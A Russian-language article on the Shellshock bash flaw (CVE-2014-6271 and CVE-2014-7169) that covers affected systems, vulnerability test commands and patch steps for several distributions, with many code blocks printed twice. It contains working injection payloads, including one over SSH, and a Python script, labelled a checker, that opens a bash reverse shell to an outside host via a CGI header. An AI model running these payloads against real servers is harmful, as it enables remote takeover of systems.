Критическая уязвимость в bash CVE-2014-6271, которая может привести к удалённому запуску команд

24-го Сентября стало известно об очень крупной и опасной уязвимости в командной оболчке bash (CVE-2014-6271), на всех Linux дистрибутивах и в Mac OS X. Обнаружил проблему некий Stephane Chazelas и запостил в seclist.org рассылке Florian Weimer. bash (Bourne again shell) является наиболее популярной и устанавливаемой программой на всех Linux серверах и станциях. Проблема проявлятся в экспорте переменных окружения и shell-функциях, что может привести к удаленному лимитрованному выполнению чужого кода в среде bash.

Атаке может подвергнуться любое приложение которое запускает bash, т.е. использует его в качестве интерпритатора для выполнения функций с установкой переменных окружения на основе внешних данных. Сервисы которые могут быть атакованы: sshd, некоторые конифгурации Git или Subversion которые выполняют bash скрипты на удаленной системе, модули Apache mod_cgi и mod_cgid, PHP модуль mod_php, dhclient и CUPS.

Выдержка из статьи на opennet.ru:

Текущие версии bash используют переменные окружения для экспорта функций, при этом если в переменной содержится “() {“, то её содержимое воспринимается как функция. Из-за ошибки, после завершения тела функции, обработка продолжается и после символа “}”. Если после функции указана команда, то bash выполнит и её (например, “VAR=() { ignored; }; /bin/id”). Уязвимость проявляется для любых переменных окружения, имя не имеет значения.

В случае с OpenSSH атака может быть проведена через подстановку переменной окружения SSH_ORIGINAL_COMMAND:

ssh -o 'rsaauthentication yes' 0 '() { ignored; }; /usr/bin/id'
ssh -o 'rsaauthentication yes' 0 '() { ignored; }; /usr/bin/id'

После выполнения указанной команды в переменную окружения будет скопирована в том числе строка ‘() { ignored; }; /usr/bin/id’, которая инициирует запуск команды /usr/bin/id на стороне удалённой системы. Аналогичные атаки могут быть проведены через переменную окружения TERM или при запуске CGI-скриптов через переменные REMOTE_USER, HTTP_CUSTOM, QUERY_STRING и т.п. (например, можно передать значение “() {” вместо имени пользователя или в теле HTTP-заголовка “Custom:”).

Что-бы проверить вашу систему на уязвимость, достаточно выполнить:

env x='() { :;}; echo vulnerable' bash -c 'echo hello'
env x='() { :;}; echo vulnerable' bash -c 'echo hello'

После установки патча в систему, тот же код должен давать другой результат:

env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Пример успешного выполнения кода и выявления уязвимости в bash на Ubuntu 14.04 LTS:
Selection_008

Версия bash:
Selection_009

В качестве обходного временного пути защиты может быть применена блокировка по маске через iptables:

iptables using -m string --hex-string '|28 29 20 7B|'
iptables using -m string --hex-string '|28 29 20 7B|'

Так же уже были выявлены методы (CVE-2014-7169) обхода патча, представленного вчера для устранения критической уязвимости в Bash. Для решения проблемы подготовлен новый патч. В дистрибутивах проблема пока остаётся неисправленной. Для проверки на наличие обходного пути эксплуатации уязвимости можно использовать команду (успешно срабатывает после установки вчерашнего обновления bash в Ubuntu и Debian):

env X='() { (a)=>\' sh -c "echo date"; cat echo
env X='() { (a)=>\' sh -c "echo date"; cat echo

Стало известно, что для было произведенно массовое скнирование серверов в сети на выявление данной уязвимости (CVE-2014-6271) на серверах. Как сообщает opennet.ru по самым скромным данным, было обнаружено около 3 тысяч хостов.

Ссылки для обновления дистрибутивов Centos:
CentOS-5:
http://lists.centos.org/pipermail/centos-announce/2014-September/020582.html

CentOS-6:
http://lists.centos.org/pipermail/centos-announce/2014-September/020585.html

CentOS-7:
http://lists.centos.org/pipermail/centos-announce/2014-September/020583.html

Сама проблема опубликована тут:
CVE-2014-7169
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169

CVE-2014-6271
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

На баг-трекере Red Hat был открыта тема:
https://bugzilla.redhat.com/show_bug.cgi?id=1141597

Так же подготовленны CGI скрипты для проверки на наличие уязвимости:

#
#CVE-2014-6271 cgi-bin reverse shell
#
 
import httplib,urllib,sys
 
if (len(sys.argv)<4):
    print "Usage: %s   " % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    exit(0)
 
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
 
headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
	print "Usage: %s   " % sys.argv[0]
	print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
	exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
	"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

Версии bash водверженные уязвимости в дистрибутивах Red Hat:
bash-3.0-27.el4.2
bash-3.2-32.el5_9.2
bash-3.2-24.el5_6.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-33.el5.1
bash-4.1.2-15.el6_4.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-15.el6_5.1
bash-4.2.45-5.el7_0.2

Сами дистрибутивы в которых есть уязвимый bash:
Red Hat Enterprise Linux 7
Red Hat Enterprise Linux 6
Red Hat Enterprise Linux 5
Red Hat Enterprise Linux 4

Соответсвенно и все версии Centos начиная с 4-ой подвереженны проблеме CVE-2014-6271.

——————————————————-
Очень подробное описание проблемы и методов ее решения как для всего сервера, так и отдельных сервисов для дистрибутивов RHEL\Centos можно почитать на английском языке по ссылке.
——————————————————-

В Twitter’e люди показывают примеры экплуатации уязвимости на Mac OS X.

А так-же в Windows реализации bash cygwin:

Кстати пацаны из Red Hat сообщают, что выпущенный патч не полный, так что не стоит спешить его ставить, так как обнаружились другие методы эксплуатации проблемы CVE-2014-6271. Вот например:

Решение проблемы для OS X 10.9.5

Проверить версию bash

$ bash --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
$ bash --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.

Применить патч:

$ mkdir bash-fix
$ cd bash-fix
$ curl https://opensource.apple.com/tarballs/bash/bash-92.tar.gz | tar zxf -
$ cd bash-92/bash-3.2
$ curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 | patch -p0    
$ cd ..
$ xcodebuild
$ sudo cp /bin/bash /bin/bash.old
$ sudo cp /bin/sh /bin/sh.old
$ build/Release/bash --version # GNU bash, version 3.2.52(1)-release
$ build/Release/sh --version   # GNU bash, version 3.2.52(1)-release
$ sudo cp build/Release/bash /bin
$ sudo cp build/Release/sh /bin
$ mkdir bash-fix
$ cd bash-fix
$ curl https://opensource.apple.com/tarballs/bash/bash-92.tar.gz | tar zxf -
$ cd bash-92/bash-3.2
$ curl https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 | patch -p0    
$ cd ..
$ xcodebuild
$ sudo cp /bin/bash /bin/bash.old
$ sudo cp /bin/sh /bin/sh.old
$ build/Release/bash --version # GNU bash, version 3.2.52(1)-release
$ build/Release/sh --version   # GNU bash, version 3.2.52(1)-release
$ sudo cp build/Release/bash /bin
$ sudo cp build/Release/sh /bin

Убедится что весрия стала v3.2.52:

$ bash --version
GNU bash, version 3.2.52(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
$ bash --version
GNU bash, version 3.2.52(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.

Для пущей безопасности убрать прова исполнения со старого bashа:

$ sudo chmod a-x /bin/bash.old /bin/sh.old
$ sudo chmod a-x /bin/bash.old /bin/sh.old

Больше информации читайте на форумах по Mac OS X.

Решение проблемы CVE-2014-6271 для Redhat\Centos

От Redhat:
Resolution for Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271) in Red Hat Enterprise Linux
https://access.redhat.com/solutions/1207723

Для дистрибутивов RHEL\Centos:

yum update bash
yum update bash-4.1.2-15.el6_5.1
yum update bash
yum update bash-4.1.2-15.el6_5.1

Желательна перезагрузка системы.
Для систем которые не могут быть перезагружены, нужно выполнить:

/sbin/ldconfig
/sbin/ldconfig

Решение проблемы CVE-2014-6271 для Debian\Ubuntu

Проверьте версию пакета bash установленного в системе:

dpkg -s bash | grep Version
 
Сделайте обновление:
sudo apt-get update && sudo apt-get install bash
dpkg -s bash | grep Version

Сделайте обновление:
sudo apt-get update && sudo apt-get install bash

Или же можно скомпилировать из исходников:

Получить новый bash:

mkdir src
cd src
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
mkdir src
cd src
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz

Загрузить необходимые патчи:

for i in $(seq -f "%03g" 0 25); do wget     http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz 
cd bash-4.3
for i in $(seq -f "%03g" 0 25); do wget     http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz 
cd bash-4.3

Применить патчи:

for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done

Скомпилировать и поставить в систему:

./configure && make && make install
cd .. 
cd ..
rm -r src
./configure && make && make install
cd .. 
cd ..
rm -r src

Очень интересная дискуссия на тему бага развернулась на ycombinator